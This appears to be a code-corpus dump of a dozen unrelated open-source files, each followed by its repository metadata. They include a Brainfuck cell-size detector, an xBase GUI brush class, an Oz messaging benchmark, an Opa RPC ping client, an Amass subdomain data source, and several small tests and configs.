>>>+<<< <[-]]< <[-]] [-]]< ================================================================================ >> [[-] // This has either a very large cells or nonbinary ones // We have to assume that there's some reasonable optimisation // going on if we want more detail // Calculate (16*16*16*16)^128 AKA 2^2048 ++[>++++++++<-]>[>++++++++<-]>[<< +>>[-<< [->++++++++++++++++<]>[-<++++++++++++++++>]< [->++++++++++++++++<]>[-<++++++++++++++++>]< >>]]<+< // If that's not zero we have a bignum; probably [ // Calculate 2^112 this is too large for any floating point type // to treat as an integer [-]>[-]>[-]+++++++<< +>>[-<< [->++++++++++++++++<]>[-<++++++++++++++++>]< [->++++++++++++++++<]>[-<++++++++++++++++>]< >>]<< // If X and X minus one are the same we have a float type [->+>+<<] >>- [-<->] +< [[-]> ++++++++[[->+++++++>+<<]>>[-<<+>>]<[[->++++++>+<<]>>[-<<+>>]<[>> >+<+[>-]>[->>+<]<< <<-]<-]<-] >>>>[-]>>>[[-]<<<<<<<+>>>>>>>]<<<<<<+< [ // Small and weird cells [-]>[-]>[-]>[-]>[-]>[-]>[-]+++++++++++[<++++++<+++<++++<++++++++ +<++++++++++>>>>>-]<+.<<<++.<--..+++++++.>>>-.<<----.<-.>++++.>> .<<<----.+.-.>>+.<---.<-----.+++++.>-.<++++.+++++++.>>>.<+++.--. .>>[-]<[-]<[-]<[-]<[-]< [-]- Print the number [[->>+<<]>>[-<++>[-<+>[-<+>[-<+>[-<+>[-<+>[-<+>[-<+>[-<+>[<[-]+> ->+<[<-]]]]]]]]]]>]<<[>++++++[<++++++++>-]<-.[-]<]] >[-]+++++++++[<+++++>-]<+.[-] ]>[ // Huge cells >>>>>[-]<[-]<[-]<[-]<[-]<[-]>++++++[<++++>-]<[>+++++>++++>+>++>+ ++<<<<<-]>>>>>.<<<<---.>+++++++.--.>++++++++.<<------.+++.>>.<<- ---.+.-.>>>---.<<---.+++++++.<.>--------.<++++.+++++++.>>.<++.++ .<-------------..+++++++.>>.<+.<----.++++++.-------.>--.>>+.>[-] <[-]<[-]<[-]<[-]< ]< <] >[ // Floating point cells found >>>>[-]<[-]<[-]<[-]<[-]>++++[<++++>-]<[>++++>+++++++>++++++>++<< <<-]>++++++.>----.+++.>+.<+++++.>++++++++.+++++.-------.>.<<---- .-.>++.<-.++++++.>>.<------.++.+++++++..<-.>>.<------.<----.++++ ++.-------.>--.>++++++++++++++.[-]<[-]<[-]<[-]< ]< <[-]] >[> // The cell is a binary type less than 2^2048; find exactly how // many bits it is >+[ [->++<]>[-<+>]<<+> ]< // Copy it for the error check <[-]>[-<+<+>>]<[->+<]> // "This interpreter has " >>[-]>[-]>[-]>[-]>[-]<<<++++[<++++>-]<+[>++++++>+++++++>++>++++ +<<<<-]>>>>-.<<<++.+.>----.>--.<<.+++++.>+.<---------.>--.--.++ .<.>++.<.>--.>.<<+++.-------.>+.>.>[-]<[-]<[-]<[-]<<< // print the number >[-]>[-]>[-]>[-]>[-]>[-]+>[-]+>[-]+>[-]+<<<<<<<<<[->>+>+<<<]>>>[ -<<<+>>>]<[>[-]>[-]<<[>+>+<<-]>>[<<+>>-]+++++++++<[>>>[-]+<<[>+> [-]<<-]>[<+>-]>[<<++++++++++>>-]<<-<-]+++++++++>[<->-]<[>+<-]<[> +<-]<[>+<-]>>>[<<<+>>>-]>>>[-]<<<+++++++++<[>>>[-]+<<[>+>[-]<<-] >[<+>-]>[<<++++++++++>>>+<-]<<-<-]>>>>[<<<<+>>>>-]<<<[-]<<+>]<[> [-]<[>+<-]+++++++[<+++++++>-]<-.[-]>>[<<+>>-]<<-]< // "bit cells" >[-]<[-]++++[->++++++++<]>.[-<+++>]<++.+++++++.+++++++++++.[--- ->+<]>+++.+[-<+++>]<.++.+++++++..+++++++.[----->++<]>.[-]< // If less than 33 bits error ++++[-<++++++++>] <+[-< <+> [-<-> [-<<+>>] ] <<[->>+<<]>> >] <[-]< [[-] >[-]<[-]++++[->++++++++<]>.+[-<++>]<.-.+++.[-->+<]>--.+[-<++>]< +.-[--->+++++<]>+.--.+++.-------.+++.-------.--[---<+>]<...[-] ]>> [-]]< [-]++++++++++. [-]] ================================================================================ >[-<+>]>[-<+>]>[-<+>]>[-<+>]>[-<+>]<<<<< [[-] // 32 bit cells // This is Exactly thirty two bits and can be optimised to a printf [-]>[-]>[-]>[-]>[-]>[-]>[-]+++++++++++++[<++++++<++++<++<+++++++++<+++++ +++>>>>>-]<++++++.<<<<.+.>--.>++++++.<<.+++++.>+.<---------.>--.--.++.<. >++.<.>--.>.<<+++.-------.>+.>.>-.-.<.<<+.+++++++.>+.>.<<------.++.+++++ ++..>-.>>----.>>++++++++++.[-]<[-]<[-]<[-]<[-]<[-]< ] ================================================================================ >[-<+>]>[-<+>]>[-<+>]>[-<+>]>[-<+>]<<<<< ================================================================================ >[-<+>]>[-<+>]>[-<+>]>[-<+>]>[-<+>]<<<<< [[-] // 9 to 31 bits except 16 // Using a power of two calculation to find the exact cell size >+[ [->++<]>[-<+>]<<+> ]< // "This interpreter has " >>[-]>[-]>[-]>[-]>[-]<<<++++[<++++>-]<+[>++++++>+++++++>++>++++ +<<<<-]>>>>-.<<<++.+.>----.>--.<<.+++++.>+.<---------.>--.--.++ .<.>++.<.>--.>.<<+++.-------.>+.>.>[-]<[-]<[-]<[-]<<< // print the number >[-]>[-]>[-]>[-]>[-]>[-]+>[-]+>[-]+>[-]+<<<<<<<<<[->>+>+<<<]>>>[ -<<<+>>>]<[>[-]>[-]<<[>+>+<<-]>>[<<+>>-]+++++++++<[>>>[-]+<<[>+> [-]<<-]>[<+>-]>[<<++++++++++>>-]<<-<-]+++++++++>[<->-]<[>+<-]<[> +<-]<[>+<-]>>>[<<<+>>>-]>>>[-]<<<+++++++++<[>>>[-]+<<[>+>[-]<<-] >[<+>-]>[<<++++++++++>>>+<-]<<-<-]>>>>[<<<<+>>>>-]<<<[-]<<+>]<[> [-]<[>+<-]+++++++[<+++++++>-]<-.[-]>>[<<+>>-]<<-]< // "bit cells" >[-]<[-]++++[->++++++++<]>.[-<+++>]<++.+++++++.+++++++++++.[--- ->+<]>+++.+[-<+++>]<.++.+++++++..+++++++.[----->++<]>.[-]++++++ ++++.[-]< ] ================================================================================ >[-<+>]>[-<+>]>[-<+>]>[-<+>]>[-<+>]<<<<< [[-] // 16 bits // Also optimised to a printf [-]>[-]>[-]>[-]>[-]>[-]>[-]+++++++++++++[<++++++<++++<++<+++++++++<+++++ +++>>>>>-]<++++++.<<<<.+.>--.>++++++.<<.+++++.>+.<---------.>--.--.++.<. >++.<.>--.>.<<+++.-------.>+.>.>---.+++++.<.<<+.+++++++.>+.>.<<------.++ .+++++++..>-.>>--------.>>++++++++++.[-]<[-]<[-]<[-]<[-]<[-]< ] ================================================================================ >[-<+>]>[-<+>]>[-<+>]>[-<+>]>[-<+>]<<<<< [ // up to 8 bits // Check for exactly 8 bits >[-]<[-]++++[>++++++++<-]>[<++++>-]<[[-] // This interpreter has 8 bit cells [-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]++++++++++++++[<+<++++++<++++<++<+++++++< ++++++++>>>>>>-]<<.<<<++++++.+.<+++.>>++++.<.+++++.<+.>---------.<--.--. ++.>.<++.>.<--.>>.<+++.-------.<+.>>.>.<.<+.+++++++.<+.>>.<------.++.+++ ++++..<-.>>>----------.>>----.[-]<[-]<[-]<[-]<[-]<[-]< [-]] // Less than 8 bits >[-]<[-]++++++++[>++++<-]>[<++++>-]+<[>-<[-]]>[> // Find the number >+[ [->++<]>[-<+>]<<+> ]< // Print the number [[->>+<<]>>[-<++>[-<+>[-<+>[-<+>[-<+>[-<+>[-<+>[-<+>[-<+>[<[-]+> ->+<[<-]]]]]]]]]]>]<<[>++++++[<++++++++>-]<-.[-]<]] ++++[->++++++++<]>.+[-<++>]<.+++++++.+++++++++++.-.[-]++++++++++.[-] <[-]]< [-]] ================================================================================ <<
Brainfuck
3
RubenNL/brainheck
examples/cell-size-4.bf
[ "Apache-2.0" ]
/// <include file="Gui.xml" path="doc/Brush/*" /> CLASS Brush INHERIT VObject PROTECT hBrush AS PTR PROTECT _hParent AS PTR /// <exclude /> METHOD __SetBrushOrg(_hDc AS PTR, hClient AS PTR) AS VOID STRICT LOCAL sRect IS _winRect LOCAL sPoint IS _winPoint LOCAL hParent AS PTR IF _hParent == NULL_PTR //PP-040416 Issue 12706 //for compatibility with the VO 2.6 behaviour, if no _hParent is known IF __WCGetControlByHandle(hClient) != NULL_OBJECT //hParent is the handle of the FormSurface hParent := GetParent(hClient) UnrealizeObject(hBrush) //RvdH 020705 ClientToScreen wants a Point not a Rect ! ClientToScreen(hParent, @sPoint) SetBrushOrgEx(_hDc, sPoint:x, sPoint:y, NULL_PTR) ELSE RETURN ENDIF ELSE hParent := _hParent ENDIF IF hParent != hClient UnrealizeObject(hBrush) GetWindowRect(hClient, @sRect) //RvdH 020705 ClientToScreen wants a Point not a Rect ! sPoint:x := sRect:left sPoint:y := sRect:top ScreenToClient(hParent, @sPoint) SetStretchBltMode(_hDc, HALFTONE) SetBrushOrgEx(_hDc, -sPoint:x, -sPoint:y, NULL_PTR) ELSE UnrealizeObject(hBrush) SetBrushOrgEx(_hDc, 0, 0, NULL_PTR) ENDIF RETURN /// <include file="Gui.xml" path="doc/Brush.CreateNew/*" /> METHOD CreateNew(xColor, kHatchStyle) LOCAL argTypeError AS LOGIC IF (hBrush != NULL_PTR) DeleteObject(hBrush) hBrush := NULL_PTR ENDIF IF IsInstanceOfUsual(xColor, #Color) DEFAULT(@kHatchStyle, HATCHSOLID) IF IsNumeric(kHatchStyle) IF (kHatchStyle == HATCHSOLID) hBrush := CreateSolidBrush(xColor:ColorRef) ELSE hBrush := CreateHatchBrush(__ConvertHatch(kHatchStyle), xColor:ColorRef) ENDIF ELSE argTypeError := TRUE ENDIF ELSEIF IsInstanceOfUsual(xColor, #Bitmap) IF IsNil(kHatchStyle) hBrush := CreatePatternBrush(xColor:Handle()) ELSE argTypeError := TRUE ENDIF ELSEIF IsNumeric(xColor) IF IsNil(kHatchStyle) hBrush := GetStockObject(__ConvertBrush(xColor)) ELSE argTypeError := TRUE ENDIF ELSE argTypeError := TRUE ENDIF IF argTypeError WCError{#Init, #Brush, __WCSTypeError}:Throw() ENDIF RETURN SELF /// <include file="Gui.xml" path="doc/Brush.Destroy/*" /> METHOD Destroy() AS USUAL CLIPPER IF (hBrush != NULL_PTR) DeleteObject(hBrush) hBrush := NULL_PTR ENDIF SUPER:Destroy() RETURN NIL /// <include file="Gui.xml" path="doc/Brush.Handle/*" /> METHOD Handle() AS PTR RETURN hBrush /// <include file="Gui.xml" path="doc/Brush.ctor/*" /> CONSTRUCTOR(xColor, kHatchStyle, oParent) SUPER() SELF:CreateNew(xColor, kHatchStyle) SELF:Parent := oParent RETURN /// <include file="Gui.xml" path="doc/Brush.Parent/*" /> ASSIGN Parent (oWindow) LOCAL oParent AS Window IF IsInstanceOfUsual(oWindow, #Window) IF IsInstanceOf(oWindow, #DataWindow) oParent := oWindow:__GetFormSurface() ELSE oParent := oWindow ENDIF _hParent := oParent:Handle() ELSE _hParent := NULL_PTR ENDIF RETURN END CLASS /// <exclude/> FUNCTION __ConvertHatch(hatchStyle AS INT) AS INT STRICT LOCAL retVal AS INT SWITCH hatchStyle CASE HATCHDIAGONAL45 retVal := HS_BDIAGONAL CASE HATCHVERTICAL retVal := HS_VERTICAL CASE HATCHDIAGONAL135 retVal := HS_FDIAGONAL CASE HATCHHORIZONTAL retVal := HS_HORIZONTAL CASE HATCHORTHOGONALCROSS retVal := HS_CROSS OTHERWISE retVal := HS_DIAGCROSS END SWITCH RETURN retVal /// <exclude/> FUNCTION __ConvertBrush(brushType AS INT) AS INT STRICT LOCAL retVal AS INT SWITCH brushType CASE BRUSHBLACK retVal := BLACK_BRUSH CASE BRUSHDARK retVal := DKGRAY_BRUSH CASE BRUSHMEDIUM retVal := GRAY_BRUSH CASE BRUSHLIGHT retVal := LTGRAY_BRUSH CASE BRUSHHOLLOW retVal := HOLLOW_BRUSH CASE BRUSHCLEAR retVal := NULL_BRUSH OTHERWISE retVal := WHITE_BRUSH END SWITCH RETURN retVal
xBase
5
orangesocks/XSharpPublic
Runtime/VOSDK/Source/VOSDK/GUI_Classes_SDK/Brush.prg
[ "Apache-2.0" ]
define ($ip 10.100.0.2, $mac aa:aa:aa:aa:aa:aa) Idle -> tap :: KernelTap(10.100.0.1/24, DEVNAME vEth1) ; tap -> c :: Classifier(12/0806 20/0001, 12/0806 20/0002, 12/0800, -); //Answer to ARP requests c[0] -> ARPResponder( $ip $mac) -> tap ; //Discard ARP replies for now c[1] -> [1]arp :: ARPQuerier($ip, $mac) -> tap; //Handle pings c[2] -> Strip(14) -> CheckIPHeader -> ip :: IPClassifier(proto icmp && icmp type echo, -); ip[0] -> ICMPPingResponder -> arp -> tap; ip[1] -> IPPrint -> Discard; //Discard non-IP, non-ARP packets c[3] -> Discard;
Click
4
BorisPis/asplos22-nicmem-fastclick
conf/tutorial/tutorial-03.click
[ "BSD-3-Clause-Clear" ]
30,39 41,5A 61,7A
Component Pascal
0
janosch-x/character_set
lib/character_set/predefined_sets/ascii_alnum.cps
[ "MIT" ]
{use MyMacros} {my hello}
Latte
0
timfel/netbeans
php/php.latte/test/unit/data/testfiles/parser/issue245728_27.latte
[ "Apache-2.0" ]
<stylesheet version="1.0" xmlns="http://www.w3.org/1999/XSL/Transform"> <template match="/"> <html xml:lang="en-us" xmlns="http://www.w3.org/1999/xhtml"> <body> <p>Failure (acted on XML processing instructions on result XML!)</p> </body> </html> </template> </stylesheet>
XSLT
2
zealoussnow/chromium
third_party/blink/web_tests/fast/xsl/resources/xslt-recursion-chain2.xsl
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
(-> (+ 2 2) (print)) (import [pip]) (pip.main ["install" "-q" "sh"]) (import [sh [echo]]) (-> (+ (int (echo "-n" 21)) (int (echo "-n" 21))) (print))
Hy
2
siddharthvipul/official-images
test/tests/hylang-sh/container.hy
[ "Apache-2.0" ]
functor import System Connection Application Pickle DPStatistics Property Module define proc{LFTW I P} {Wait {Loop.forThread 1 I 1 fun{$ Ind _} {P Ind} end unit}} end Tests = [t(proc{$ Th I P} {LFTW Th proc{$ Ind Ans} thread {For 1 I 1 proc{$ _} S Np in Np = {NewPort S} {Send P new_port(Np)} {Wait S} end} Ind = Ans end end} end threadImportExportEntity) t(proc{$ Th I P} {LFTW Th proc{$ Ind Ans} thread {For 1 I 1 proc{$ _} {Wait {Send P bind($)} } end} Ind = Ans end end} end threadBindVar) t(proc{$ Th I P} {LFTW Th proc{$ Ind Ans} thread {For 1 I 1 proc{$ _} S Np in Np = {NewPort S} {Send P no_port(Np)} {Wait S} end} Ind = Ans end end } end threadExportEntity) t(proc{$ Th I P} {LFTW Th proc{$ Ind Ans} Np in thread {List.forAllInd {NewPort $ Np} proc{$ In _} if In == I then Ind = Ans else {Send P old_port(Np)} end end} end {Send P old_port(Np)} end} end threadReuseEntity) t(proc{$ Th I P} {Wait {Loop.forThread 1 Th 1 proc{$ Ind Id Ans} Np in thread {List.forAllInd {NewPort $ Np} proc{$ In _} if In == I then Ind = Ans else {Send P send_port(Id)} end end} end {Send P register(Np Id)} {Send P send_port(Id)} end unit}} end threadImportEntity) t(proc{$ Th I P} {Wait {Loop.forThread 1 Th 1 proc{$ Ind Id Ans} Np in thread {List.forAllInd {NewPort $ Np} proc{$ In _} if In == I then Ind = Ans else {Send P send(Id)} end end} end {Send P register(Np Id)} {Send P send(Id)} end unit}} end threadNoEntity) t(proc{$ Th I P} {LFTW Th proc{$ Ind Ans} thread {For 1 I 1 proc{$ _} {DS.sendcp Site.ip Site.port Site.timestamp Site.pid 1} end} Ind = Ans end end} end threadComPing) t(proc{$ Th I P} {LFTW Th proc{$ Ind Ans} thread {For 1 I 1 proc{$ _} {DS.sendmpp Site.ip Site.port Site.timestamp Site.pid 1} end} Ind = Ans end end} end threadProtPing) t(proc{$ Th I P} {LFTW Th proc{$ Ind Ans} thread {For 1 I 1 proc{$ _} {DS.sendmpt Site.ip Site.port Site.timestamp Site.pid 1 [a b c d e f g h i]} end} Ind = Ans end end} end threadListPing) t(proc{$ Th I P} {LFTW Th proc{$ Ind Ans} thread {For 1 I 1 proc{$ _} {DS.sendmpt Site.ip Site.port Site.timestamp Site.pid 1 P} end} Ind = Ans end end} end threadImportEntityPing) t(proc{$ Th I _} NP = {NewPort _} in {LFTW Th proc{$ Ind Ans} thread {For 1 I 1 proc{$ _} {DS.sendmpt Site.ip Site.port Site.timestamp Site.pid 1 NP} end} Ind = Ans end end} end threadExportEntityPing) t(proc{$ Th I P} Np CC = {NewCell {NewPort $ Np}} in {Send P register(Np 1)} {For 1 Th 1 proc{$ _} {Send P send(1)} end} {For (I-1)*Th 1 ~1 proc{$ Ind} {Wait {Access CC}} {Assign CC {Access CC}.2} if Ind > Th then {Send P send(1)} end end} end sequentialNoEntity) t(proc{$ Th I P} {LFTW Th proc{$ Ind Ans} thread {DS.sendcp Site.ip Site.port Site.timestamp Site.pid I} Ind = Ans end end} end sequentialComPing) t(proc{$ Th I P} {LFTW Th proc{$ Ind Ans} thread {DS.sendmpp Site.ip Site.port Site.timestamp Site.pid I} Ind = Ans end end} end sequentialProtPing) t(proc{$ Th I P} {LFTW Th proc{$ Ind Ans} thread {DS.sendmpt Site.ip Site.port Site.timestamp Site.pid I [a b c d e f g h i]} Ind = Ans end end} end sequentialListPing) t(proc{$ Th I P} {LFTW Th proc{$ Ind Ans} thread {DS.sendmpt Site.ip Site.port Site.timestamp Site.pid I P} Ind = Ans end end} end sequentialImportPing) t(proc{$ Th I _} Np = {NewPort _} in {LFTW Th proc{$ Ind Ans} thread {DS.sendmpt Site.ip Site.port Site.timestamp Site.pid I Np} Ind = Ans end end} end sequentialExportPing) ] Args Help TestNames ArgsSpec DS = {{New Module.manager init} link(url:'x-oz://boot/DPMisc' $)} P Site in TestNames = {Map Tests fun{$ R} R.2 end} ArgsSpec = record('ticket'(single type:string) 'iterations'(single type:int) 'jobs'(single type:list(int)) 'linear'(single type:bool default:false) 'help'( single type:bool default:false) 'tests'(single type:list(atom) default:TestNames)) try Args={Application.getCmdArgs ArgsSpec} Args.ticket = _ Args.iterations = _ Help = false catch _ then Help = true end if Args.help orelse Help then {System.showInfo '--ticket\n'# '\tThe file that contains the ticket saved from the server\n'# '--iterations\n'# '\tSets the number of messages\n'# '\n--jobs'# '\tThe degree of paralellism\n'# '\n--linear'# '\tIf set the all the parallel jobs will send iterations messages.\n'# '\tOtherwise, iteration messages will be evenly spread among the jobs,\n'# '\tresulting in fewer iterations per job when jobs increase\n' # '\n--tests'# '\tDefault value is all tests, if specified it must be one or more of\n'# '\tthe following:\n'# {FoldL TestNames fun{$ Ind V}Ind#'\t\t'#V#'\n' end " "} } {Application.exit 0} end P = {Connection.take {Pickle.load Args.ticket}} Site = {Filter {DPStatistics.siteStatistics} fun{$ S} S.state \= mine end}.1 {Property.put 'print.depth' 100} {Property.put 'print.width' 100} {ForAll Args.jobs proc{$ Th} {ForAll {Filter Tests fun{$ t(_ A)} {List.member A Args.tests} end} proc{$ M} I T0 M0 in if Args.linear then I = Args.iterations else I = Args.iterations div Th end {Wait {Send P start($)}}{System.gcDo} {Wait {Send P start($)}}{System.gcDo} {Wait {Send P start($)}}{System.gcDo} T0 = {Property.get 'time'} M0 = {DPStatistics.messageCounter} {M.1 Th I P} {System.gcDo} {Wait {Send P start($)}} {System.show {Record.adjoin {Record.adjoin {Record.adjoin {Record.zip {DPStatistics.messageCounter} M0 Number.'-'} r(concurency: Th iterations:I)} {Record.zip {Record.filter {Property.get time} IsInt} {Record.filter T0 IsInt} Number.'-'}} M.2} } end} end} {Send P kill} {Delay 100} {Application.exit 0} end
Oz
4
Ahzed11/mozart2
platform-test/dp-bench/Client.oz
[ "BSD-2-Clause" ]
/* Copyright © 2011-2013 MLstate This file is part of Opa. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #<Ifstatic:OPA_FULL_DISPATCHER> @client PingClient = {{ @private error(msg) = Log.error("PingClient", msg) @private registers = Reference.create([]): reference(list(RPC.Json.json)) @package register_actor(id) = @atomic( x = Reference.get(registers) Reference.set(registers, [{String = id} | x]) ) @private wrap_request(url, body, f) = match @atomic( x = Reference.get(registers) do Reference.set(registers, []) x) with | [] -> f(url, body) | registers -> msg = {Record = [ ("to_register", {List = registers}), ("url", {String = "{%%Session.PingRegister.internal_prefix%%}{url}"}), ("body", {String = body}), ]} f("/chan/register", Json.to_string(msg)) @package set_process_msg(f:RPC.Json.json -> bool):void = (%%Session.PingRegister.process_msg%%:(RPC.Json.json -> bool) -> void)(f) @package process_msg(json:RPC.Json.json):bool = error(msg) = do error(msg) false match json with | {Record = [("type", {String = "chan"}), ("id", id), ("msg", message)]} -> match Channel.unserialize(id) with | {none} -> error("Can't unserialize {id}") | {some = channel} -> serialize(_) = @toplevel.error("Should not happen") do Channel.forward(none, channel, message, ~{serialize message}) true end | {Record = [("type", {String = "rpc"}), ("name", {String = name}), ("id", {String = id}), ("args", {String = args})]} -> do OpaRPC_Client.Dispatcher.call(some(id), name, args) true | {Record = [("type", {String = "asyncrpc"}), ("name", {String = name}), ("args", {String = args})]} -> do OpaRPC_Client.Dispatcher.call(none, name, args) true | _ -> error("I don't understand message : {json}") sync_request(url, body) = wrap_request(url, body, %%Session.PingRegister.pang_request%%) async_request(url, body) = wrap_request(url, body, %%Session.PingRegister.ping_async_call%%) /** * Explicitely set the domain's URL used by AJAX request, no domain by default */ set_domain_url = %%Session.PingRegister.set_domain_url%% /** * Add a custom handler function for the case when the * connection between client and server appears to be * lost. If they are no custom handler, the default is to print * "the connection with the server seems to be lost" to * the client screen. * * Be sure to pass a `client` function here (e.g. * `client function my_handler() { ... }`), as it will * probably be called when the server is not available! */ @client add_connection_lost_handler = %%Session.PingRegister.add_connection_lost_handler%% }} @private @both_implem _ = @sliced_expr({ client=PingClient.set_process_msg(PingClient.process_msg) server=void }) #<End>
Opa
4
Machiaweliczny/oppailang
lib/stdlib/core/rpc/core/ping_client.opa
[ "MIT" ]
/// <reference path="fourslash.ts" /> // @module: CommonJS //// interface Dictionary<T> { //// [x: string]: T; //// } //// export interface ChainedObject<T> { //// functions: ChainedArray<string>; //// omit(): ChainedObject<T>; //// clone(): ChainedObject<T>; //// } //// interface ChainedDictionary<T> extends ChainedObject<Dictionary<>> { //// foldl(): ChainedObject<T>; //// clone(): ChainedDictionary<T>; //// } //// export interface ChainedArray<T> extends ChainedObject<Array<T>> { //// groupBy(): ChainedDictionary<any[]>; //// groupBy(propertyName): ChainedDictionary<any[]>; //// } goTo.position(0); verify.numberOfErrorsInCurrentFile(2);
TypeScript
4
nilamjadhav/TypeScript
tests/cases/fourslash/underscoreTypings02.ts
[ "Apache-2.0" ]
-- Copyright 2017-2021 Jeff Foley. All rights reserved. -- Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file. local json = require("json") name = "Chaos" type = "api" function start() set_rate_limit(10) end function check() local c local cfg = datasrc_config() if cfg ~= nil then c = cfg.credentials end if (c ~= nil and c.key ~= nil and c.key ~= "") then return true end return false end function vertical(ctx, domain) local c local cfg = datasrc_config() if cfg ~= nil then c = cfg.credentials end local resp, err = request(ctx, { ['url']=api_url(domain), headers={['Authorization']=c['key']}, }) if (err ~= nil and err ~= "") then log(ctx, "vertical request to service failed: " .. err) return end local d = json.decode(resp) if (d == nil or d.subdomains == nil or #(d.subdomains) == 0) then return end for i, sub in pairs(d.subdomains) do new_name(ctx, sub .. "." .. d.domain) end end function api_url(domain) return "https://dns.projectdiscovery.io/dns/" .. domain .. "/subdomains" end
Ada
4
Elon143/Amass
resources/scripts/api/chaos.ads
[ "Apache-2.0" ]
"use strict"; var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault"); Object.defineProperty(exports, "__esModule", { value: true }); exports.default = void 0; var _createSvgIcon = _interopRequireDefault(require("./utils/createSvgIcon")); var _jsxRuntime = require("react/jsx-runtime"); var _default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)("path", { d: "M18.29 17.29c.39-.39.39-1.02 0-1.41L14.42 12l3.88-3.88c.39-.39.39-1.02 0-1.41a.9959.9959 0 0 0-1.41 0L12.3 11.3c-.39.39-.39 1.02 0 1.41l4.59 4.59c.38.38 1.01.38 1.4-.01z" }, "0"), /*#__PURE__*/(0, _jsxRuntime.jsx)("path", { d: "M11.7 17.29c.39-.39.39-1.02 0-1.41L7.83 12l3.88-3.88c.39-.39.39-1.02 0-1.41a.9959.9959 0 0 0-1.41 0L5.71 11.3c-.39.39-.39 1.02 0 1.41l4.59 4.59c.38.38 1.01.38 1.4-.01z" }, "1")], 'KeyboardDoubleArrowLeftRounded'); exports.default = _default;
JavaScript
4
dany-freeman/material-ui
packages/mui-icons-material/lib/KeyboardDoubleArrowLeftRounded.js
[ "MIT" ]